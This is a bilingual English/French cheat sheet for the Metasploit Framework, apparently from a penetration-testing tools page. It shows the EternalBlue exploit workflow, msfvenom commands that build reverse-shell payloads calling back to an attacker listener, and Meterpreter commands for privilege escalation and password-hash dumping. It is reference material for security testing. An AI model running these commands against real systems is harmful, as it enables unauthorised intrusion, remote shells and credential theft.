← retour aux outils back to tools

# Metasploit

Framework d'exploitation complet avec des modules pour le scan, l'exploitation, la post-exploitation et la génération de payloads. Comprehensive exploitation framework with modules for scanning, exploitation, post-exploitation, and payload generation.

↗ https://www.metasploit.com

## Overview

Metasploit Framework is the world’s most widely used penetration testing framework. It provides a unified interface for exploits, payloads, auxiliary modules (scanners), and post-exploitation modules.

## Basic Workflow

Launch

    msfconsole

    # Search for a module
    search eternalblue
    search type:exploit platform:windows smb

Use a module

    use exploit/windows/smb/ms17_010_eternalblue

Show required options

    show options

    # Set options
    set RHOSTS 10.10.10.1
    set LHOST 10.10.10.99
    set LPORT 4444

Run

    run       # or exploit

## Payload Generation (msfvenom)

Windows reverse shell (exe)

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.99 LPORT=4444 -f exe -o shell.exe

Linux reverse shell (elf)

    msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.99 LPORT=4444 -f elf -o shell

    # Web payloads
    msfvenom -p php/reverse_php LHOST=10.10.10.99 LPORT=4444 -f raw -o shell.php
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.99 LPORT=4444 -f war -o shell.war

    # Staged vs Stageless
    # /shell_reverse_tcp      → stageless (self-contained)
    # /shell/reverse_tcp      → staged (smaller, needs handler)

## Meterpreter Key Commands

    sysinfo          System information
    getuid           Current user
    getsystem        Attempt privilege escalation
    hashdump         Dump password hashes
    upload / download Transfer files
    shell            Drop to OS shell
    migrate PID      Migrate to another process
    load kiwi        Load Mimikatz module

Help / Man page

    msfconsole commands:

    NAVIGATION:
      search <term>         Search for modules
      use <module>          Select a module
      back                  Deselect module
      info                  Show module info
      show options          Show required/optional options
      show payloads         Show compatible payloads
      show targets          Show supported targets

    CONFIGURATION:
      set <option> <value>  Set an option
      setg <option> <value> Set globally
      unset <option>
      options               Show current settings

    EXECUTION:
      run / exploit         Execute the module
      check                 Check if target is vulnerable
      jobs                  List background jobs
      sessions              List active sessions
      sessions -i ID        Interact with a session

    SESSIONS:
      sessions -l           List sessions
      sessions -i N         Interact with session N
      sessions -k N         Kill session N
      sessions -u N         Upgrade shell to Meterpreter

    DATABASE:
      db_nmap               Run Nmap and store results
      hosts                 Show discovered hosts
      services              Show discovered services
      vulns                 Show found vulnerabilities
      loot                  Show collected loot

    msfvenom -l payloads     List all payloads
    msfvenom -l formats      List output formats
    msfvenom -l encoders     List encoders

## Vue d’ensemble

Metasploit Framework est le framework de pentest le plus utilisé au monde. Il fournit une interface unifiée pour les exploits, les payloads, les modules auxiliaires (scanners) et les modules de post-exploitation.

## Flux de travail de base

    # Lancer
    msfconsole

    # Rechercher un module
    search eternalblue
    search type:exploit platform:windows smb

    # Utiliser un module
    use exploit/windows/smb/ms17_010_eternalblue

    # Afficher les options requises
    show options

    # Définir les options
    set RHOSTS 10.10.10.1
    set LHOST 10.10.10.99
    set LPORT 4444

    # Exécuter
    run       # ou exploit

## Génération de payloads (msfvenom)

    # Shell inverse Windows (exe)
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.99 LPORT=4444 -f exe -o shell.exe

    # Shell inverse Linux (elf)
    msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.99 LPORT=4444 -f elf -o shell

    # Payloads web
    msfvenom -p php/reverse_php LHOST=10.10.10.99 LPORT=4444 -f raw -o shell.php
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.99 LPORT=4444 -f war -o shell.war

    # Staged vs Stageless
    # /shell_reverse_tcp      → stageless (autonome)
    # /shell/reverse_tcp      → staged (plus petit, nécessite un handler)

## Commandes clés de Meterpreter

    sysinfo          Informations système
    getuid           Utilisateur actuel
    getsystem        Tentative d'élévation de privilèges
    hashdump         Extraire les hachages de mots de passe
    upload / download Transférer des fichiers
    shell            Obtenir un shell OS
    migrate PID      Migrer vers un autre processus
    load kiwi        Charger le module Mimikatz

Aide / Page de manuel

    msfconsole commands:

    NAVIGATION:
      search <term>         Search for modules
      use <module>          Select a module
      back                  Deselect module
      info                  Show module info
      show options          Show required/optional options
      show payloads         Show compatible payloads
      show targets          Show supported targets

    CONFIGURATION:
      set <option> <value>  Set an option
      setg <option> <value> Set globally
      unset <option>
      options               Show current settings

    EXECUTION:
      run / exploit         Execute the module
      check                 Check if target is vulnerable
      jobs                  List background jobs
      sessions              List active sessions
      sessions -i ID        Interact with a session

    SESSIONS:
      sessions -l           List sessions
      sessions -i N         Interact with session N
      sessions -k N         Kill session N
      sessions -u N         Upgrade shell to Meterpreter

    DATABASE:
      db_nmap               Run Nmap and store results
      hosts                 Show discovered hosts
      services              Show discovered services
      vulns                 Show found vulnerabilities
      loot                  Show collected loot

    msfvenom -l payloads     List all payloads
    msfvenom -l formats      List output formats
    msfvenom -l encoders     List encoders